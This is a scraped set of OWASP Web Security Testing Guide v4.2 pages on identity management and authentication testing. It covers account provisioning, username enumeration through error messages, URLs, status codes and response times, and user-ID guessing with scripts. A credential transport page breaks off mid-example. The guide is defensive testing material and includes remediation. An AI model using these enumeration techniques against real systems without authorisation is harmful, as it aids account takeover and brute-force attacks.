"kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:12", "sha256": "52c918877ce9d5a1aec901dc385047ca84502c0cb0838a7bcc89361fa9e5a6d5", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://mashable.com/2011/06/09/user-registration-design/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/03-Test_Account_Provisioning_Process", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/03-Test_Account_Provisioning_Process", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/03-Test_Account_Provisioning_Process", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "03-Identity Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Test Account Provisioning Process"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Example"}, {"uroven": 2, "text": "Tools"}], "markdown": "# WSTG - v4.2\n\n# Test Account Provisioning Process\n\n| ID |\n| --- |\n| WSTG-IDNT-03 |\n\n## Summary\n\nThe provisioning of accounts presents an opportunity for an attacker to create a valid account without application of the proper identification and authorization process.\n\n## Test Objectives\n\n- Verify which accounts may provision other accounts and of what type.\n\n## How to Test\n\nDetermine which roles are able to provision users and what sort of accounts they can provision.\n\n- Is there any verification, vetting and authorization of provisioning requests?\n- Is there any verification, vetting and authorization of de-provisioning requests?\n- Can an administrator provision other administrators or just users?\n- Can an administrator or other user provision accounts with privileges greater than their own?\n- Can an administrator or user de-provision themselves?\n- How are the files or resources owned by the de-provisioned user managed? Are they deleted? Is access transferred?\n\n### Example\n\nIn WordPress, only a user’s name and email address are required to provision the user, as shown below:\n\n*Figure 4.3.3-1: WordPress User Add*\n\nDe-provisioning of users requires the administrator to select the users to be de-provisioned, select Delete from the dropdown menu (circled) and then applying this action. The administrator is then presented with a dialog box asking what to do with the user’s posts (delete or transfer them).\n\n*Figure 4.3.3-2: WordPress Auth and Users*\n\n## Tools\n\nWhile the most thorough and accurate approach to completing this test is to conduct it manually, HTTP proxy tools could be also useful.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1658, "slov": 244, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:13", "sha256": "ab9d49e7e5329b7918daa7ca11c36b37d7c29df8516822c83948da0bbd91b839", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "03-Identity Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Account Enumeration and Guessable User Account"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "HTTP Response Message"}, {"uroven": 4, "text": "Testing for Valid Credentials"}, {"uroven": 4, "text": "Testing for Valid User with Wrong Password"}, {"uroven": 4, "text": "Testing for a Nonexistent Username"}, {"uroven": 3, "text": "Other Ways to Enumerate Users"}, {"uroven": 4, "text": "Analyzing URLs and URLs Re-directions"}, {"uroven": 4, "text": "URI Probing"}, {"uroven": 4, "text": "Analyzing Web Page Titles"}, {"uroven": 4, "text": "Analyzing a Message Received from a Recovery Facility"}, {"uroven": 4, "text": "Friendly 404 Error Message"}, {"uroven": 4, "text": "Analyzing Response Times"}, {"uroven": 3, "text": "Guessing Users"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 4, "text": "Testing for Authentication Error Messages"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Testing for Account Enumeration and Guessable User Account\n\n| ID |\n| --- |\n| WSTG-IDNT-04 |\n\n## Summary\n\nThe scope of this test is to verify if it is possible to collect a set of valid usernames by interacting with the authentication mechanism of the application. This test will be useful for brute force testing, in which the tester verifies if, given a valid username, it is possible to find the corresponding password.\n\nOften, web applications reveal when a username exists on system, either as a consequence of mis-configuration or as a design decision. For example, sometimes, when we submit wrong credentials, we receive a message that states that either the username is present on the system or the provided password is wrong. The information obtained can be used by an attacker to gain a list of users on system. This information can be used to attack the web application, for example, through a brute force or default username and password attack.\n\nThe tester should interact with the authentication mechanism of the application to understand if sending particular requests causes the application to answer in different manners. This issue exists because the information released from web application or web server when the user provide a valid username is different than when they use an invalid one.\n\nIn some cases, a message is received that reveals if the provided credentials are wrong because an invalid username or an invalid password was used. Sometimes, testers can enumerate the existing users by sending a username and an empty password.\n\n## Test Objectives\n\n- Review processes that pertain to user identification ( *e.g.* registration, login, etc.).\n- Enumerate users where possible through response analysis.\n\n## How to Test\n\nIn black-box testing, the tester knows nothing about the specific application, username, application logic, error messages on log in page, or password recovery facilities. If the application is vulnerable, the tester receives a response message that reveals, directly or indirectly, some information useful for enumerating users.\n\n### HTTP Response Message\n\n#### Testing for Valid Credentials\n\nRecord the server answer when you submit a valid user ID and valid password.\n\n> Using a web proxy, notice the information retrieved from this successful authentication (HTTP 200 Response, length of the response).\n\n#### Testing for Valid User with Wrong Password\n\nNow, the tester should try to insert a valid user ID and a wrong password and record the error message generated by the application.\n\n> The browser should display a message similar to the following one:\n> \n> *Figure 4.3.4-1: Authentication Failed*\n> \n> Unlike any message that reveals the existence of the user like the following:\n> \n> `Login for User foo: invalid password`\n> \n> Using a web proxy, notice the information retrieved from this unsuccessful authentication attempt (HTTP 200 Response, length of the response).\n\n#### Testing for a Nonexistent Username\n\nNow, the tester should try to insert an invalid user ID and a wrong password and record the server answer (the tester should be confident that the username is not valid in the application). Record the error message and the server answer.\n\n> If the tester enters a nonexistent user ID, they can receive a message similar to:\n> \n> *Figure 4.3.4-3: This User is Not Active*\n> \n> or a message like the following one:\n> \n> `Login failed for User foo: invalid Account`\n> \n> Generally the application should respond with the same error message and length to the different incorrect requests. If the responses are not the same, the tester should investigate and find out the key that creates a difference between the two responses. For example:\n> \n> 1. Client request: Valid user/wrong password\n> 2. Server response: The password is not correct\n> 3. Client request: Wrong user/wrong password\n> 4. Server response: User not recognized\n> \n> The above responses let the client understand that for the first request they have a valid username. So they can interact with the application requesting a set of possible user IDs and observing the answer.\n> \n> Looking at the second server response, the tester understand in the same way that they don’t hold a valid username. So they can interact in the same manner and create a list of valid user ID looking at the server answers.\n\n### Other Ways to Enumerate Users\n\nTesters can enumerate users in several ways, such as:\n\nSome web application release a specific error code or message that we can analyze.\n\n#### Analyzing URLs and URLs Re-directions\n\nFor example:\n\n- `http://www.foo.com/err.jsp?User=baduser&Error=0`\n- `http://www.foo.com/err.jsp?User=gooduser&Error=2`\n\nAs is seen above, when a tester provides a user ID and password to the web application, they see a message indication that an error has occurred in the URL. In the first case they have provided a bad user ID and bad password. In the second, a good user ID and a bad password, so they can identify a valid user ID.\n\n#### URI Probing\n\nSometimes a web server responds differently if it receives a request for an existing directory or not. For instance in some portals every user is associated with a directory. If testers try to access an existing directory they could receive a web server error.\n\nSome of the common errors received from web servers are:\n\n- 403 Forbidden error code\n- 404 Not found error code\n\nExample:\n\n- `http://www.foo.com/account1` - we receive from web server: 403 Forbidden\n- `http://www.foo.com/account2` - we receive from web server: 404 file Not Found\n\nIn the first case the user exists, but the tester cannot view the web page, in second case instead the user “account2” does not exist. By collecting this information testers can enumerate the users.\n\n#### Analyzing Web Page Titles\n\nTesters can receive useful information on Title of web page, where they can obtain a specific error code or messages that reveal if the problems are with the username or password.\n\nFor instance, if a user cannot authenticate to an application and receives a web page whose title is similar to:\n\n- `Invalid user`\n- `Invalid authentication`\n\n#### Analyzing a Message Received from a Recovery Facility\n\nWhen we use a recovery facility (i.e. a forgotten password function) a vulnerable application might return a message that reveals if a username exists or not.\n\nFor example, messages similar to the following:\n\n- `Invalid username: email address is not valid or the specified user was not found.`\n- `Valid username: Your password has been successfully sent to the email address you registered with.`\n\n#### Friendly 404 Error Message\n\nWhen we request a user within the directory that does not exist, we don’t always receive 404 error code. Instead, we may receive “200 ok” with an image, in this case we can assume that when we receive the specific image the user does not exist. This logic can be applied to other web server response; the trick is a good analysis of web server and web application messages.\n\n#### Analyzing Response Times\n\nAs well as looking at the content of the responses, the time that the response take should also be considered. Particularly where the request causes an interaction with an external service (such as sending a forgotten password email), this can add several hundred milliseconds to the response, which can be used to determine whether the requested user is valid.\n\n### Guessing Users\n\nIn some cases the user IDs are created with specific policies of administrator or company. For example we can view a user with a user ID created in sequential order:\n\n```\nCN000100\nCN000101\n...\n```\n\nSometimes the usernames are created with a REALM alias and then a sequential numbers:\n\n- R1001 – user 001 for REALM1\n- R2001 – user 001 for REALM2\n\nIn the above sample we can create simple shell scripts that compose user IDs and submit a request with tool like wget to automate a web query to discern valid user IDs. To create a script we can also use Perl and curl.\n\nOther possibilities are: - user IDs associated with credit card numbers, or in general numbers with a pattern. - user IDs associated with real names, e.g. if Freddie Mercury has a user ID of “fmercury”, then you might guess Roger Taylor to have the user ID of “rtaylor”.\n\nAgain, we can guess a username from the information received from an LDAP query or from Google information gathering, for example, from a specific domain. Google can help to find domain users through specific queries or through a simple shell script or tool.\n\n> By enumerating user accounts, you risk locking out accounts after a predefined number of failed probes (based on application policy). Also, sometimes, your IP address can be banned by dynamic rules on the application firewall or Intrusion Prevention System.\n\n### Gray-Box Testing\n\n#### Testing for Authentication Error Messages\n\nVerify that the application answers in the same manner for every client request that produces a failed authentication. For this issue the black-box testing and gray-box testing have the same concept based on the analysis of messages or error codes received from web application.\n\n> The application should answer in the same manner for every failed attempt of authentication.\n> \n> For Example: *Credentials submitted are not valid*\n\n## Remediation\n\nEnsure the application returns consistent generic error messages in response to invalid account name, password or other user credentials entered during the log in process.\n\nEnsure default system accounts and test accounts are deleted prior to releasing the system into production (or exposing it to an untrusted network).\n\n## Tools\n\n- [OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org)\n- [curl](https://curl.haxx.se/)\n- [PERL](https://www.perl.org)\n\n## References\n\n- [Marco Mella, Sun Java Access & Identity Manager Users enumeration](https://securiteam.com/exploits/5ep0f0uquo/)\n- [Username Enumeration Vulnerabilities](https://www.gnucitizen.org/blog/username-enumeration-vulnerabilities/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 9859, "slov": 1545, "odkazu": 183, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:14", "sha256": "afcbaf94041ad9ea85d0a0ee3ddaa1626bcd07a740f0c97b20a431fa66dd6c78", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/", "https://curl.haxx.se/", "https://www.perl.org/", "https://securiteam.com/exploits/5ep0f0uquo/", "https://www.gnucitizen.org/blog/username-enumeration-vulnerabilities/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/05-Testing_for_Weak_or_Unenforced_Username_Policy", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/05-Testing_for_Weak_or_Unenforced_Username_Policy", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/05-Testing_for_Weak_or_Unenforced_Username_Policy", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "03-Identity Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Weak or Unenforced Username Policy"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.2\n\n# Testing for Weak or Unenforced Username Policy\n\n| ID |\n| --- |\n| WSTG-IDNT-05 |\n\n## Summary\n\nUser account names are often highly structured (e.g. Joe Bloggs account name is jbloggs and Fred Nurks account name is fnurks) and valid account names can easily be guessed.\n\n## Test Objectives\n\n- Determine whether a consistent account name structure renders the application vulnerable to account enumeration.\n- Determine whether the application’s error messages permit account enumeration.\n\n## How to Test\n\n- Determine the structure of account names.\n- Evaluate the application’s response to valid and invalid account names.\n- Use different responses to valid and invalid account names to enumerate valid account names.\n- Use account name dictionaries to enumerate valid account names.\n\n## Remediation\n\nEnsure the application returns consistent generic error messages in response to invalid account name, password or other user credentials entered during the log in process.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1038, "slov": 138, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:15", "sha256": "2c1683f6c87e125269432f1b35b65e8cec5af620b4c2efbbebace11c41e468c1", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/README", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "03-Identity Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "4.3 Identity Management Testing"}], "markdown": "# WSTG - v4.2\n\n# 4.3 Identity Management Testing\n\n4.3.1 [Test Role Definitions](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/01-Test_Role_Definitions)\n\n4.3.2 [Test User Registration Process](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/02-Test_User_Registration_Process)\n\n4.3.3 [Test Account Provisioning Process](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/03-Test_Account_Provisioning_Process)\n\n4.3.4 [Testing for Account Enumeration and Guessable User Account](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account)\n\n4.3.5 [Testing for Weak or Unenforced Username Policy](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/05-Testing_for_Weak_or_Unenforced_Username_Policy)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1130, "slov": 79, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:10", "sha256": "911e8cc790cd7968149433a86b2fcdeff108c299184e8d062135405a52680892", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "04-Authentication Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "4.4 Authentication Testing"}], "markdown": "# WSTG - v4.2\n\n# 4.4 Authentication Testing\n\n4.4.1 [Testing for Credentials Transported over an Encrypted Channel](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/01-Testing_for_Credentials_Transported_over_an_Encrypted_Channel)\n\n4.4.2 [Testing for Default Credentials](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/02-Testing_for_Default_Credentials)\n\n4.4.3 [Testing for Weak Lock Out Mechanism](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism)\n\n4.4.4 [Testing for Bypassing Authentication Schema](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/04-Testing_for_Bypassing_Authentication_Schema)\n\n4.4.5 [Testing for Vulnerable Remember Password](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/05-Testing_for_Vulnerable_Remember_Password)\n\n4.4.6 [Testing for Browser Cache Weaknesses](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/06-Testing_for_Browser_Cache_Weaknesses)\n\n4.4.7 [Testing for Weak Password Policy](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/07-Testing_for_Weak_Password_Policy)\n\n4.4.8 [Testing for Weak Security Question Answer](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/08-Testing_for_Weak_Security_Question_Answer)\n\n4.4.9 [Testing for Weak Password Change or Reset Functionalities](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/09-Testing_for_Weak_Password_Change_or_Reset_Functionalities)\n\n4.4.10 [Testing for Weaker Authentication in Alternative Channel](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/10-Testing_for_Weaker_Authentication_in_Alternative_Channel)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2184, "slov": 156, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:58", "sha256": "22c0209cd55b518456c5a1d6c3956bc78924ea511d114439ed2b1f9da93b132e", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/01-Testing_for_Credentials_Transported_over_an_Encrypted_Channel", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/01-Testing_for_Credentials_Transported_over_an_Encrypted_Channel", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/01-Testing_for_Credentials_Transported_over_an_Encrypted_Channel", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "04-Authentication Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Credentials Transported over an Encrypted Channel"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Account Creation"}, {"uroven": 3, "text": "Password Reset, Change Password or Other Account Manipulation"}, {"uroven": 3, "text": "Accessing Resources While Logged In"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.2\n\n# Testing for Credentials Transported over an Encrypted Channel\n\n| ID |\n| --- |\n| WSTG-ATHN-01 |\n\n## Summary\n\nTesting for credentials transport verifies that web applications encrypt authentication data in transit. This encryption prevents attackers from taking over accounts by [sniffing network traffic](https://owasp.org/www-community/attacks/Man-in-the-middle_attack). Web applications use [HTTPS](https://tools.ietf.org/html/rfc2818) to encrypt information in transit for both client to server and server to client communications. A client can send or receive authentication data during the following interactions:\n\n- A client sends a credential to request login\n- The server responds to a successful login with a [session token](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html#session-id-properties)\n- An authenticated client sends a session token to request sensitive information from the web site\n- A client sends a token to the web site if they [forgot their password](https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html)\n\nFailure to encrypt any of these credentials in transit can allow attackers with network sniffing tools to view credentials and possibly use them to steal a user’s account. The attacker could sniff traffic directly using [Wireshark](https://www.wireshark.org) or similar tools, or they could set up a proxy to capture HTTP requests. Sensitive data should be encrypted in transit to prevent this.\n\nThe fact that traffic is encrypted does not necessarily mean that it’s completely safe. The security also depends on the encryption algorithm used and the robustness of the keys that the application is using. See [Testing for Weak Transport Layer Security](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/01-Testing_for_Weak_Transport_Layer_Security) to verify the encryption algorithm is sufficient.\n\n## Test Objectives\n\n- Assess whether any use case of the web site or application causes the server or the client to exchange credentials without encryption.\n\n## How to Test\n\nTo test for credential transport, capture traffic between a client and web application server that needs credentials. Check for credentials transferred during login and while using the application with a valid session. To set up for the test:\n\n1. Set up and start a tool to capture traffic, such as one of the following:\n - The web browser’s [developer tools](https://developer.mozilla.org/en-US/docs/Tools)\n - A proxy including [OWASP ZAP](https://owasp.org/www-project-zap/)\n2. Disable any features or plugins that make the web browser favour HTTPS. Some browsers or extensions, such as [HTTPS Everywhere](https://www.eff.org/https-everywhere) , will combat [forced browsing](https://owasp.org/www-community/attacks/Forced_browsing) by redirecting HTTP requests to HTTPS.\n\nIn the captured traffic, look for sensitive data including the following:\n\n- Passphrases or passwords, usually inside a [message body](https://www.w3.org/Protocols/rfc2616/rfc2616-sec4.html)\n- Tokens, usually inside [cookies](https://tools.ietf.org/html/rfc6265#section-4.2)\n- Account or password reset codes\n\nFor any message containing this sensitive data, verify the exchange occurred using HTTPS (and not HTTP). The following examples show captured data that indicate passed or failed tests, where the web application is on a server called `www.example.org`.\n\nFind the address of the login page and attempt to switch the protocol to HTTP. For example, the URL for the forced browsing could look like the following: `http://www.example.org/login`.\n\nIf the login page is normally HTTPS, attempt to remove the “S” to see if the login page loads as HTTP.\n\nLog in using a valid account while attempting to force the use of unencrypted HTTP. In a passing test, the login request should be HTTPS:\n\n```\nRequest URL: https://www.example.org/j_acegi_security_check\nRequest method: POST\n...\nResponse headers:\nHTTP/1.1 302 Found Server: nginx/1.19.2 Date: Tue, 29 Sep 2020 00:59:04 GMT Transfer-Encoding: chunked Connection: keep-alive X-Content-Type-Options: nosniff Expires: Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: JSESSIONID.a7731d09=node01ai3by8hip0g71kh3ced41pmqf4.node0; Path=/; Secure; HttpOnly ACEGI_SECURITY_HASHED_REMEMBER_ME_COOKIE=dXNlcmFiYzoxNjAyNTUwNzQ0NDU3OjFmNDlmYTZhOGI1YTZkYTYxNDIwYWVmNmM0OTI1OGFhODA3Y2ZmMjg4MDM3YjcwODdmN2I2NjMwOWIyMDU3NTc=; Path=/; Expires=Tue, 13-Oct-2020 00:59:04 GMT; Max-Age=1209600; Secure; HttpOnly Location: https://www.example.org/ ... POST data: j_username=userabc j_password=My-Protected-Password-452 from=/ Submit=Sign in \n```\n\n- In the login, the credentials are encrypted due to the HTTPS request URL\n- If the server returns cookie information for a session token, the cookie should also include the [`Secure` attribute](https://owasp.org/www-community/controls/SecureFlag) to avoid the client exposing the cookie over unencrypted channels later. Look for the `Secure` keyword in the response header.\n\nThe test fails if any login transfers a credential over HTTP, similar to the following:\n\n```\nRequest URL: 